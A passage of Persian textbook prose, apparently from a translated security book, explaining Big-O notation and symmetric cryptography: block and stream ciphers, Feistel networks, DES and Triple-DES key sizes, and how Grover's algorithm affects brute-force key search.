دو اﻟﮕﻮرﯾﺘﻢ ﯾﮑﺴﺎن ﻋﻤﻞ ﻣﯽ ﮐﻨﻨﺪ .ﻫﻤﭽﻨﯿﻦ ﺑﺮای ﺗﻤﺎم nﻫﺎی ﺑﺰرﮔﺘﺮ از ،30اﻟﮕـﻮرﯾﺘﻢ اول ﻧـﺴﺒﺖ ﺑـﻪ اﻟﮕـﻮرﯾﺘﻢ دوم
ﺑﻬﺘﺮ ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ .ﭼﻮن ﻓﻘﻂ ﺑﻪ ازای 30ﻣﻘﺪار ﺑﺮای ،nاﻟﮕﻮرﯾﺘﻢ دوم ﻧﺴﺒﺖ ﺑﻪ اﻟﮕـﻮرﯾﺘﻢ اول ﺑﻬﺘـﺮ ﻋﻤـﻞ ﮐـﺮده و ﺑـﻪ
ازای ﻣﻘﺎدﯾﺮ ﻧﺎﻣﺤﺪود ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺮای ،nاﻟﮕﻮرﯾﺘﻢ اول ﺑﻬﺘﺮ ﻋﻤﻞ ﻣـﯽ ﮐﻨـﺪ ،ﻟـﺬا در ﻣﺠﻤـﻮع ﻣـﯽ ﺗـﻮان اﻟﮕـﻮرﯾﺘﻢ اول را
ﮐﺎراﺗﺮ داﻧﺴﺖ .ﯾﻌﻨﯽ ،ﺳﺮﻋﺖ رﺷﺪِ ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﻧﺴﺒﺖ ﺑﻪ اﻧﺪازه ورودی ،ﻣﻬﻢ ﺗﺮ از ﭘﯿﭽﯿﺪﮔﯽ زﻣـﺎﻧﯽ
آن ﺑﻪ ازای ﺗﻤﺎم ﻣﻘﺎدﯾﺮ ﺛﺎﺑﺖ ﺑﺮای ورودی اﺳﺖ .اﮔﺮﭼﻪ ﻣﻤﮑﻦ اﺳﺖ اﯾﻦ ﻣﺴﺌﻠﻪ ﺑـﺮای ﺑﺮﻧﺎﻣـﻪ ﻫـﺎی ﺧﺎﺻـﯽ در دﻧﯿـﺎی
ﺣﻘﯿﻘﯽ ﺻﺎدق ﻧﺒﺎﺷﺪ ،اﻣﺎ اﯾﻦ ﺳﻨﺠﺶ ﺟﻬﺖ ﺗﻌﯿﯿﻦ ﮐﺎرآﯾﯽ ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ،ﺗﻘﺮﯾﺒﺎ روی ﻣﯿﺎﻧﮕﯿﻦ ﺗﻤﺎم ﺑﺮﻧﺎﻣﻪ ﻫـﺎی ﻣﻤﮑـﻦ
ﺻﺎدق اﺳﺖ.
ﻧﺸﺎﻧﻪ ﮔﺬاری ﻣﺠﺎﻧﺐ روﺷﯽ اﺳﺖ ﺑﺮای ﺑﯿﺎن ﮐﺎرآﯾﯽ ﯾﮏ اﻟﮕﻮرﯾﺘﻢ .دﻟﯿﻞ اﯾﻦ ﻧﺎم ﮔﺬاری اﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ روش رﻓﺘـﺎر
ﯾﮏ اﻟﮕﻮرﯾﺘﻢ را ﺑﺮای ﻣﻘﺎدﯾﺮ ورودی ﻧﺰدﯾﮏ ﺑﻪ ﺣﺪ ﻣﺠﺎﻧﺐ در ﺑﯿﻨﻬﺎﯾﺖ ﺗﺸﺮﯾﺢ ﻣﯽ ﮐﻨﺪ.
ﺑﺎ رﺟﻮع ﺑﻪ ﻣﺜﺎل ﻫﺎی اﻟﮕﻮرﯾﺘﻢ 2n + 365و ،2n2 + 5ﻣﻌﻠﻮم ﺷﺪ ﮐﻪ اﻟﮕﻮرﯾﺘﻢ اول ﮐﺎراﻣﺪﺗﺮ اﺳﺖ ،ﭼﺮا ﮐﻪ ﭘﯿﺮو روﻧـﺪ
nاﺳﺖ .در ﺣﺎﻟﯿﮑﻪ اﻟﮕﻮرﯾﺘﻢ دوم ﭘﯿﺮو روﻧﺪ ﻋﻤﻮﻣﯽ n2اﺳﺖ ،ﯾﻌﻨﯽ اﯾﻨﮑﻪ اﻟﮕﻮرﯾﺘﻢ 2n + 365از ﮐﺮان ﺑﺎﻻ ﺑـﺎ ﻣـﻀﺮﺑﯽ
از ) nﺑﺮای ﻣﻘﺎدﯾﺮی از nﮐﻪ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﺑـﺰرگ ﻫـﺴﺘﻨﺪ( ﻣﺤـﺪود ﺷـﺪه اﺳـﺖ و اﻟﮕـﻮرﯾﺘﻢ 2n2 + 5از ﮐـﺮان ﺑـﺎﻻ ﺑـﺎ
ﻣﻀﺮﺑﯽ از ) n2ﺑﺮای ﻣﻘﺎدﯾﺮی از nﮐﻪ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﺑﺰرگ ﻫﺴﺘﻨﺪ( ﻣﺤﺪود ﺷﺪه اﺳﺖ.
91
Time Complexity
150
اﯾﻦ ﻣﺴﺌﻠﻪ ﻇﺎﻫﺮا اﺷﺘﺒﺎه ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ ،اﻣﺎ ﻣﻌﻨﺎی واﻗﻌﯿﺶ اﯾﻦ اﺳﺖ ﮐﻪ ﯾـﮏ ﺛﺎﺑـﺖ ﻣﺜﺒـﺖ ﺑـﺮای روﻧـﺪ )ﻣﻘـﺪار روﻧـﺪ
ﭘﯿﺸﺮوی ﯾﺎ رﺷﺪ( و ﻫﻤﭽﻨﯿﻦ ﯾﮏ ﮐﺮان ﭘﺎﺋﯿﻦ ﺗﺮ ﺑﺮای nوﺟﻮد دارد ﺑﻄﻮرﯾﮑﻪ ﺣﺎﺻﻠﻀﺮب ﻣﻘﺪار روﻧﺪ در ﻣﻘـﺪار ﺛﺎﺑـﺖ،
ﻫﻤﯿﺸﻪ ﺑﺰرﮔﺘﺮ از ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﺑﺮای ﺗﻤﺎم nﻫﺎی ﺑﺰرﮔﺘﺮ از ﮐﺮان ﭘﺎﺋﯿﻦ ﺗﺮ اﺳﺖ .ﺑﻪ ﺑﯿـﺎن دﯾﮕـﺮ ،ﻋﺒـﺎرت 2n2 + 5
ﻣﺮﺗﺒﻪ ای از n2و 2n + 365ﻣﺮﺗﺒﻪ ای از nاﺳﺖ .ﯾﮏ ﻧﻤﺎدﮔﺬاری ﺳﺎده رﯾﺎﺿﯽ ﺑﺮای اﯾﻦ ﻣﺴﺌﻠﻪ وﺟﻮد دارد ﮐﻪ ﺗﺤـﺖ
ﻋﻨﻮان ﻧﻤﺎدﮔﺬاری Big-Ohﺷﻨﺎﺧﺘﻪ ﺷﺪه و ﻣﺜﻼ ﺑﺮای ﺗﻮﺻﯿﻒ اﻟﮕـﻮرﯾﺘﻤﯽ ﮐـﻪ از ﻣﺮﺗﺒـﻪ n2اﺳـﺖ ،ﺑـﻪ ﺻـﻮرت )O(n2
ﻧﺸﺎن داده ﻣﯽ ﺷﻮد.
ﯾﮏ راه ﺳﺎده ﺟﻬﺖ ﺗﺒﺪﯾﻞ ﭘﯿﭽﯿﺪﮔﯽ زﻣـﺎﻧﯽ ﯾـﮏ اﻟﮕـﻮرﯾﺘﻢ ﺑـﻪ ﻧﻤﺎدﮔـﺬاری ،big-ohﺑﺮرﺳـﯽ ﺟﻤـﻼت دارای ﻣﺮاﺗـﺐ
)درﺟﻪ( ﺑﺎﻻﺗﺮ اﺳﺖ ،زﯾﺮا آﻧﻬﺎ ﺟﻤﻼﺗﯽ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﺎ ﺑﺰرگ ﺷﺪن nﺑﻪ ﻗـﺪر ﮐـﺎﻓﯽ ،ﺑﯿـﺸﺘﺮﯾﻦ اﻫﻤﯿـﺖ را ﭘﯿـﺪا ﻣـﯽ ﮐﻨﻨـﺪ
)ﺿﺮﯾﺐ رﺷﺪ آﻧﻬﺎ ﻧﺴﺒﺖ ﺑﻪ درﺟﺎت ﭘﺎﺋﯿﻦ ﺗﺮ ﺑﯿﺸﺘﺮ اﺳـﺖ( .ﻟـﺬا ﯾـﮏ اﻟﮕـﻮرﯾﺘﻢ ﺑـﺎ ﭘﯿﭽﯿـﺪﮔﯽ زﻣـﺎﻧﯽ 3n4 + 43n3 +
،763n + log n + 37ﻣﺮﺗﺒﻪ ای از ) O(n4و ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﺑﺎ ﭘﯿﭽﯿﺪﮔﯽ زﻣـﺎﻧﯽ ،54n7 + 23n4 + 4325ﻣﺮﺗﺒـﻪ ای از
) O(n7ﺧﻮاﻫﺪ ﺑﻮد.
رﻣﺰﻫﺎی ﻣﺘﻔﺎرن ،ﺳﯿﺴﺘﻢ ﻫﺎﯾﯽ رﻣﺰی ﻫﺴﺘﻨﺪ ﮐﻪ از ﮐﻠﯿﺪ واﺣﺪی ﺑﺮای رﻣﺰﻧﮕـﺎری و رﻣﺰﮔـﺸﺎﯾﯽ ﭘﯿـﺎم ﻫـﺎ اﺳـﺘﻔﺎده ﻣـﯽ
ﮐﻨﻨﺪ .ﻓﺮآﯾﻨﺪ رﻣﺰﻧﮕﺎری و رﻣﺰﮔﺸﺎﯾﯽ در اﯾﻦ روش ﺳﺮﯾﻊ ﺗﺮ از رﻣﺰﻧﮕﺎری ﻏﯿﺮﻣﺘﻘﺎرن اﺳﺖ ،اﻣـﺎ ﺗﻮزﯾـﻊ ﮐﻠﯿـﺪ در اﯾـﻦ
روش ﺑﺎ ﭼﺎﻟﺶ ﻫﺎﯾﯽ روﺑﺮو اﺳﺖ.
در ﺣﺎﻟﺖ ﮐﻠﯽ ﻧﻤﻮﻧﻪ ﻫﺎﯾﯽ از اﯾﻦ ﻃﺮح رﻣﺰﻫﺎی اﻧﺴﺪادی ) (blockﯾﺎ رﻣﺰﻫـﺎی ﺟﺮﯾـﺎﻧﯽ ) (streamﻫـﺴﺘﻨﺪ .ﯾـﮏ رﻣـﺰ
اﻧﺴﺪادی در ﺑﻼک ﻫﺎﯾﯽ ﺑﺎ اﻧﺪازه ﺛﺎﺑﺖ )ﻣﻌﻤﻮﻻ 64ﯾﺎ 128ﺑﯿﺖ( ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ .ﯾﮏ ﺑﻼک از ﯾﮏ ﻣﺘﻦ واﺿـﺢ ﯾﮑـﺴﺎن و
ﻣﻌﯿﻦ ،ﻫﻤﯿﺸﻪ ﺑﻪ واﺳﻄﻪ ﯾﮏ ﮐﻠﯿﺪ ﻣﻌﯿﻦ ﺑﻪ ﯾﮏ ﻣﺘﻦ رﻣﺰی ﻣﺸﺨﺺ ﺗﺒﺪﯾﻞ ﻣﯽ ﺷﻮد .ﯾﻌﻨﯽ ﺑﺮای ﯾﮏ ﻣﺘﻦ ﻣﻌـﯿﻦ ﻓﻘـﻂ و
ﻓﻘﻂ ﯾﮏ ﮐﻠﯿﺪ و ﯾﮏ ﻣﺘﻦ رﻣﺰی ﻣﺸﺨﺺ ﺗﻮﻟﯿﺪ ﻣﯽ ﺷـﻮد .ﻃـﺮح ﻫـﺎی Blowfish ،DESو ) AESاز رﯾﻨـﺪاﺋﻞ( ﻧﻤﻮﻧـﻪ
ﻫﺎی از رﻣﺰﻫﺎی اﻧﺴﺪادی ﻫﺴﺘﻨﺪ .رﻣﺰﻫﺎی ﺟﺮﯾﺎﻧﯽ ،ﯾﮏ ﺟﺮﯾﺎن و ﺗﻮاﻟﯽ از ﺑﯿﺖ ﻫﺎی ﺷﺒﻪ-ﺗـﺼﺎدﻓﯽ را ﺗﻮﻟﯿـﺪ ﻣـﯽ ﮐﻨﻨـﺪ
)ﻣﻌﻤﻮﻻ ﯾﮏ ﺑﯿﺖ ﯾﺎ ﺑﺎﯾﺖ در واﺣﺪ زﻣﺎن( ﮐﻪ آﻧﺮا ﺟﺮﯾﺎن ﮐﻠﯿﺪ ) (key streamﻣﯽ ﻧﺎﻣﻨﺪ ﮐﻪ ﺑـﺎ ﻣـﺘﻦ واﺿـﺢ XORﻣـﯽ
ﺷﻮد .اﯾﻦ ﻧﻈﺮﯾﻪ ﺑﺮای رﻣﺰﻧﮕﺎری ﯾﮏ ﺟﺮﯾﺎن ﭘﯿﻮﺳﺘﻪ و ﻣﺘﻮاﻟﯽ از داده ﻣﻔﯿـﺪ اﺳـﺖ .ﻃـﺮح ﻫـﺎی RC4و LSFRﻧﻤﻮﻧـﻪ
ﻫﺎﯾﯽ از رﻣﺰﻫﺎی ﺟﺮﯾﺎﻧﯽ ﻣﻌﺮوف ﻫﺴﺘﻨﺪ .ﻃﺮح RC4ﺑﻌﺪا در ﻣﺒﺎﺣﺚ آﯾﻨﺪه در اﯾﻦ ﻓﺼﻞ ﺑﺮرﺳﯽ ﻣﯽ ﺷﻮد.
ﻃﺮح ﻫﺎی DESو AESﻫﺮ دو رﻣﺰﻫـﺎی اﻧـﺴﺪادی ﻣﺤﺒـﻮﺑﯽ ﻫـﺴﺘﻨﺪ .ﻧﻈﺮﯾـﺎت زﯾـﺎدی راﺟـﻊ ﺑـﻪ ﺳـﺎﺧﺘﻤﺎن رﻣﺰﻫـﺎی
اﻧﺴﺪادی ﻣﻄﺮح ﺷﺪه ﺗﺎ آﻧﻬﺎ را ﻋﻠﯿﻪ ﺣﻤﻼت ﺗﺤﻠﯿﻞ رﻣﺰ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ،ﻣﻘﺎوم ﺳﺎزﻧﺪ .دو ﻧﻈﺮﯾﻪ ﮐﻪ ﻣﮑﺮرا در اﯾـﻦ راﺳـﺘﺎ
اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ ،اﻏﺘﺸﺎش و اﻧﺘﺸﺎر ﻫﺴﺘﻨﺪ .اﻏﺘﺸﺎش ﺑﻪ روش ﻫﺎی ﻣﻮرد اﺳﺘﻔﺎده ﺟﻬﺖ ﻣﺨﻔﯽ ﮐﺮدن راﺑﻄﻪ ﺑـﯿﻦ ﻣـﺘﻦ
واﺿﺢ ،ﻣﺘﻦ رﻣﺰی و ﮐﻠﯿﺪ اﺷﺎره دارد .ﯾﻌﻨﯽ در ﺑﯿﺖ ﻫﺎی ﺧﺮوﺟﯽ ﺑﺎﯾﺪ ﺗﻐﯿﯿﺮﺷﮑﻞ 92ﻫﺎی ﭘﯿﭽﯿﺪه ای روی ﮐﻠﯿـﺪ و ﻣـﺘﻦ
واﺿﺢ اﻧﺠﺎم ﺷﻮد .اﻧﺘﺸﺎر ﺑﺮای اﯾﻦ ﻣﻨﻈﻮر ﺑﮑﺎر ﻣﯽ رود ﮐﻪ ﺗﺎ ﺣﺪ اﻣﮑﺎن ﺗﺎﺛﯿﺮ ﺑﯿﺖ ﻫـﺎی ﻣـﺘﻦ واﺿـﺢ و ﮐﻠﯿـﺪ روی ﻣـﺘﻦ
رﻣﺰی ﭘﺨﺶ ﺷﻮد .رﻣﺰﻫﺎی ﻣﺤﺼﻮﻟﯽ ) ،(product ciphersﺑﺎ اﺳـﺘﻔﺎده ﻣﮑـﺮر از ﭼﻨـﺪ ﻋﻤﻠﯿـﺎت ﺳـﺎده ،ﻫـﺮ دوی اﯾـﻦ
ﻧﻈﺮﯾﻪ ﻫﺎ را ﺗﺮﮐﯿﺐ ﻣﯽ ﮐﻨﺪ .ﻃﺮح ﻫﺎی DESو AESاز ﺟﻤﻠﻪ رﻣﺰﻫﺎی ﻣﺤﺼﻮﻟﯽ ﻫﺴﺘﻨﺪ.
ﻃﺮح DESاز ﯾﮏ ﺷﺒﮑﻪ ی ﻓﺴﯿﺘﻞ ) (Feistelﻧﯿﺰ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ .اﯾﻦ ﺷﺒﮑﻪ در ﺑﺴﯿﺎری از رﻣﺰﻫﺎی اﻧـﺴﺪادی ﻣـﻮرد
اﺳﺘﻔﺎده اﺳﺖ و اﻃﻤﯿﻨﺎن ﺣﺎﺻﻞ ﻣﯽ ﮐﻨﺪ ﮐﻪ اﻟﮕﻮرﯾﺘﻢ وارون ﭘﺬﯾﺮ 93اﺳﺖ .اﺳﺎﺳﺎ ﻫﺮ ﺑﻠﻮک )اﻧـﺴﺪاد( ﺑـﻪ دو ﻧﯿﻤـﻪ ﭼـﭗ
92
Transformation
93
Invertible
151
) (Lو راﺳﺖ ) (Rﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد .ﺳﭙﺲ در ﯾﮏ دوره اﺟﺮاﯾﯽ ،ﻧﯿﻤﻪ ﭼﭗ ﺟﺪﯾﺪ) (Liﺑﺮاﺑﺮ ﺑﺎ ﻧﯿﻤـﻪ راﺳـﺖ ﻗـﺪﯾﻢ )(Ri−1
ﻣﯽ ﺷﻮد ،و ﻧﯿﻤﻪ راﺳﺖ ﺟﺪﯾﺪ ) ،(Riاز XORﺷﺪن ﻧﯿﻤﻪ ﭼﭗ ﻗﺪﯾﻢ ) (Li−1و ﺧﺮوﺟﯽ ﯾﮏ ﺗﺎﺑﻊ ﺗﺸﮑﯿﻞ ﻣﯽ ﺷﻮد ﮐﻪ اﯾـﻦ
ﺗﺎﺑﻊ از ﻧﯿﻤﻪ راﺳﺖ ﻗﺪﯾﻢ ) (Ri−1و زﯾﺮﻣﺠﻤﻮﻋﻪ ﮐﻠﯿﺪ 94ﺑﺮای آن دوره ) (Kiاﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ .ﻣﻌﻤﻮﻻ ﻫﺮ دوره از ﻋﻤﻠﯿﺎت
ﯾﮏ ﻣﺠﻤﻮﻋﻪ ﮐﻠﯿﺪ ﻣﺠﺰا دارد ﮐﻪ اﺑﺘﺪای ﺑﻪ ﺳﺎﮐﻦ ﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮد.
ﻣﻘﺎدﯾﺮ Liو Riﺑﻪ ﺻﻮرت زﯾﺮ ﻫﺴﺘﻨﺪ )ﻧﻤﺎد ⊕ ﻋﻤﻠﯿﺎت XORرا ﻣﺸﺨﺺ ﻣﯽ ﺳﺎزد(:
Li = Ri-1
Ri = Li-1 ⊕ )f(Ri-1, Ki
ﻃــﺮح DESاز 16دوره ﻋﻤﻠﯿــﺎت اﺳــﺘﻔﺎده ﻣــﯽ ﮐﻨــﺪ .اﯾــﻦ ﺗﻌــﺪاد ﻋﻤــﺪا اﻧﺘﺨــﺎب ﺷــﺪه اﺳــﺖ ﺗــﺎ ﻋﻠﯿــﻪ ﺗﺤﻠﯿــﻞ رﻣــﺰ
دﯾﻔﺮاﻧﺴﯿﻠﯽ/ﺗﻔﺎﺿﻠﯽ 95دﻓﺎع ﺷﻮد .ﺗﻨﻬﺎ ﺿﻌﻒ ﺷﻨﺎﺧﺘﻪ ﺷﺪه DESاﻧﺪازه ﮐﻠﯿﺪ اﺳﺖ .ﭼﻮن ﮐﻠﯿﺪ ﻓﻘﻂ 56ﺑﯿﺖ اﺳﺖ ،ﻟـﺬا
ﻣﺠﻤﻮﻋﻪ ی ﻓﻀﺎی ﮐﻠﯿﺪ را ﻣﯽ ﺗﻮان در ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ brute-forceدر ﭼﻨﺪﯾﻦ ﻫﻔﺘـﻪ روی ﺳـﺨﺖ اﻓـﺰار اﺧﺘـﺼﺎﺻﯽ،
ﭼﮏ ﮐﺮد.
ﻃﺮح DES) Triple-DESﺳﻪ ﮔﺎﻧﻪ( اﯾﻦ ﻣﺸﮑﻞ را ﺑﺎ ﺑﮑﺎر ﺑﺮدن دو ﮐﻠﯿﺪ اﻟﺤﺎق ﺷﺪه DESﺑﻪ ﯾﮑﺪﯾﮕﺮ ﮐـﻪ اﻧـﺪازه ای
ﺑﺮاﺑﺮ ﺑﺎ 112ﺑﯿﺖ ﺑﺮای ﮐﻠﯿﺪ ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﻨﺪ ،ﺑﺮﻃﺮف ﻣﯽ ﺳﺎزد .ﻓﺮآﯾﻨﺪ رﻣﺰﻧﮕﺎری ﺑﺎ ﺳﻪ ﮔﺎم اﻧﺠﺎم ﻣﯽ ﺷﻮد .اﺑﺘﺪا رﻣـﺰ
ﮐﺮدن ﺑﻠﻮک ﻣﺘﻦ واﺿﺢ ﺑﺎ اوﻟﯿﻦ ﮐﻠﯿﺪ ،ﺳﭙﺲ رﻣﺰﮔﺸﺎﯾﯽ آن ﺑﺎ دوﻣﯿﻦ ﮐﻠﯿﺪ و ﻧﻬﺎﯾﺘﺎ رﻣﺰﮐـﺮدن ﻣﺠـﺪد ﺑـﺎ اوﻟـﯿﻦ ﮐﻠﯿـﺪ.
ﻓﺮآﯾﻨﺪ رﻣﺰﮔﺸﺎﯾﯽ ﻧﯿﺰ ﺑﻪ ﻃﺮﯾﻖ ﻣﺸﺎﺑﻬﯽ اﻧﺠﺎم ﻣﯽ ﺷﻮد .ﺑﻪ اﯾﻦ ﺻﻮرت ﮐﻪ در ﺳﻪ ﻣﺮﺣﻠﻪ ﻓﻮق ،ﻋﺒـﺎرات "رﻣﺰﮔـﺸﺎﯾﯽ"
و "رﻣﺰ ﮐﺮدن" ﺑﺎ ﻫﻢ ﺗﻌﻮﯾﺾ ﻣﯽ ﺷﻮﻧﺪ .اﻧﺪازه اﺿﺎﻓﻪ ﺷﺪه ﺑﻪ ﮐﻠﯿـﺪ اﺟـﺮای ﺣﻤـﻼت Brute-Forceرا دﺷـﻮارﺗﺮ ﻣـﯽ
ﺳﺎزد.
ﺑﺴﯿﺎری از رﻣﺰﻫﺎی اﺳﺘﺎﻧﺪارد و ﺻﻨﻌﺘﯽِ اﻧﺴﺪادی ﻋﻠﯿﻪ ﺗﻤﺎم ﺣﺎﻻت ﺗﺤﻠﯿﻞ رﻣﺰ ﻣﻘﺎوم ﻫﺴﺘﻨﺪ و اﻧـﺪازه ﮐﻠﯿـﺪ ﻫـﺎ ﻣﻌﻤـﻮﻻ
ﺟﻬﺖ اﺟﺮای ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ brute-forceﺑﺴﯿﺎر ﺑﺰرگ اﺳﺖ .ﺑﺎ اﯾﻦ ﺣﺎل ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ اﺣﺘﻤﺎﻻت ﺟﺎﻟﺒﯽ را ﺑﯿﺎن
ﻣﯽ دارﻧﺪ ﮐﻪ راﺟﻊ ﺑﻪ آﻧﻬﺎ ﮐﻤﯽ اﻏﺮاق ﯾﺎ ﺑﯽ ﺗﻮﺟﻬﯽ ﺷﺪه اﺳﺖ.
ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ ،ﺗﻮازن 96وﺳﯿﻌﯽ را ﻧﻮﯾﺪ ﻣﯽ دﻫﺪ .ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﻮاﻧﺘﻮﻣﯽ ،ﻣﯽ ﺗﻮاﻧﺪ ﺣـﺎﻻت ﻣﺨﺘـﻒ زﯾـﺎدی را در
ﯾﮏ اﻧﻄﺒﺎق) 97ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ ﻋﻨﻮان ﯾﮏ آراﯾﻪ اﻧﮕﺎر ﮐﺮد( ذﺧﯿﺮه ﮐﻨﺪ ،ﺳﭙﺲ در ﯾﮏ زﻣﺎن روی ﺗﻤﺎم آﻧﻬﺎ ﻣﺤﺎﺳـﺒﺎت
ﻻزم را اﻧﺠﺎم دﻫﺪ .اﯾﻦ ﺣﺎﻟﺖ ﺑﺮای اﻧﺠﺎم ﺣﻤﻼت brute-forceﻣﻄﻠﻮب و ﮐﺎراﺳﺖ ﮐﻪ از ﺟﻤﻠﻪ ﻣﯽ ﺗـﻮان آﻧـﺮا ﺑـﺮ روی
رﻣﺰﻫﺎی اﻧﺴﺪادی ﺑﮑﺎر ﺑﺮد .اﻧﻄﺒﺎق را ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻤﺎم ﮐﻠﯿﺪﻫﺎ ﺑﺎرﮔﺬاری ﮐـﺮد ،ﺳـﭙﺲ ﻋﻤﻠﯿـﺎت رﻣﺰﻧﮕـﺎری را در ﯾـﮏ
زﻣﺎن روی ﺗﻤﺎم ﮐﻠﯿﺪﻫﺎ اﻧﺠﺎم داد .ﻗﺴﻤﺖ ﺣﻘﻪ آﻣﯿﺰ ،ﺑﺪﺳﺖ آوردن ﻣﻘﺪار ﺻﺤﯿﺢ و درﺳـﺖ اﻧﻄﺒـﺎق اﺳـﺖ .ﭼـﻮن ﺗﻤـﺎم
ﮐﺎرﻫﺎ در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ در ﯾﮏ ﺣﺎﻟﺖ و زﻣﺎن واﺣﺪ رﻫﺎ ﻣﯽ ﺷﻮد ،ﻟﺬا ﺑﺎزدﯾﺪ اﻧﻄﺎﺑﻖ در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ
اﻧﺪﮐﯽ ﻣﺮﻣﻮز اﺳﺖ .ﻣﺘﺎﺳﻔﺎﻧﻪ رﻫﺎ ﮐـﺮدن ﻋﻤﻠﯿـﺎت ) (decoheringدر اﺑﺘـﺪا ﺗـﺼﺎدﻓﯽ اﺳـﺖ و ﻫـﺮ ﺣﺎﻟـﺖ در اﻧﻄﺒـﺎق،
اﺣﺘﻤﺎل )ﺷﺎﻧﺲ( ﺑﺮاﺑﺮی ﺑﺮای رﻫﺎ ﺷﺪن دارد.
ﺑﺪون ﺑﮑﺎر ﺑﺮدن روﺷﯽ ﺟﻬﺖ دﺳﺘﮑﺎری اﺣﺘﻤﺎل ﻫﺎی ﺣﺎﻻت اﻧﻄﺒﺎق ،ﻫﻤﺎن ﻧﺘﯿﺠﻪ را ﻣﯽ ﺗﻮان ﺑﺎ ﺣﺪس زدن ﮐﻠﯿـﺪﻫﺎ ﺑـﻪ
دﺳﺖ آورد .ﻣﺮدی ﺑﺎ ﻧﺎم ﻟﻮو ﮔﺮاور ﺑﺎ اﻟﮕﻮرﯾﺘﻤﯽ ﺗﻮاﻧﺴﺖ اﺣﺘﻤﺎل ﻫﺎی ﺣﺎﻻت اﻧﻄﺒﺎق را دﺳﺘﮑﺎری ﮐﻨﺪ .اﯾـﻦ اﻟﮕـﻮرﯾﺘﻢ
درﺣﺎﻟﯿﮑﻪ ﺷﺎﻧﺲ ﺑﻘﯿﻪ اﺣﺘﻤﺎﻻت را ﮐﺎﻫﺶ ﻣﯽ دﻫﺪ ،اﻣﮑﺎن اﻓﺰاﯾﺶ ﺷﺎﻧﺲ ﺣﺎﻟﺖ ﻣﻄﻠﻮب ﻣﺸﺨﺼﯽ را ﻓـﺮاﻫﻢ ﻣـﯽ ﮐﻨـﺪ.
94
Sub-Key
95
Differential Cryptanalysis
96
Parallelism
97
Superposition
152
اﯾﻦ روﻧﺪ ﭼﻨﺪﯾﻦ ﺑﺎر ﺗﮑﺮار ﻣﯽ ﺷﻮد ﺗﺎ اﯾﻨﮑﻪ ﺷﺎﻧﺲ رﻫﺎ ﺷﺪن اﻧﻄﺒﺎق در ﺣﺎﻟﺖ ﻣﻄﻠﻮب ﺗﻘﺮﯾﺒﺎ ﺗﻀﻤﯿﻦ ﺷﺪه ﺑﺎﺷﺪ .ﺗﻌﺪاد
ﻣﺮاﺣﻞ اﯾﻦ روﻧﺪ ﺣﺪودا O √nاﺳﺖ.
ﺑﺎ اﺳﺘﻔﺎده از ﭼﻨﺪﯾﻦ ﺧﺎﺻﯿﺖ ) EXPاﮐﺴﭙﻮﻧﻨﺸﯿﺎل( 98در رﯾﺎﺿﯽ ،ﻓﺮد در ﻣﯽ ﯾﺎﺑﺪ ﮐﻪ اﯾﻦ روﻧﺪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻃﻮر ﻣﻮﺛﺮی
اﻧﺪازه ﮐﻠﯿﺪ را ﺑﺮای ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ Brute-Forceﺑﻪ ﻧﺼﻒ ﺑﺮﺳﺎﻧﺪ .ﻟـﺬا دو ﺑﺮاﺑـﺮ ﮐـﺮدن اﻧـﺪازه ﮐﻠﯿـﺪ در ﯾـﮏ رﻣـﺰ
اﻧﺴﺪادی ،ﺣﺘﯽ آﻧﺮا ﻣﻘﺎﺑﻞ اﺣﺘﻤﺎﻟﻬـﺎی ﺗﺌـﻮری ﺟﻬـﺖ ﭘﯿـﺎده ﺳـﺎزی ﯾـﮏ ﺣﻤﻠـﻪ ﺟـﺎﻣﻊ brute-forceﺑـﺎ ﯾـﮏ ﮐـﺎﻣﭙﯿﻮﺗﺮ
ﮐﻮاﻧﺘﻮﻣﯽ ﻣﻘﺎوم ﻣﯽ ﺳﺎزد.
رﻣﺰﻫﺎی ﻧﺎﻣﺘﻘﺎرن از دو ﮐﻠﯿﺪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ :ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ ) (publicو ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ ) .(privateﻫﻤﺎن ﻃـﻮر ﻧـﺎم ﻫـﺎ
ﮔﻮﯾﺎی اﯾﻦ ﻣﻄﻠﺐ ﻫﺴﺘﻨﺪ ،ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ ،ﺑﻪ ﺻـﻮرت ﻋﻤـﻮﻣﯽ ﻋﺮﺿـﻪ ﻣـﯽ ﺷـﻮد درﺣﺎﻟﯿﮑـﻪ ﮐﻠﯿـﺪ ﻣﺤﺮﻣﺎﻧـﻪ ،ﺑـﻪ ﺻـﻮرت
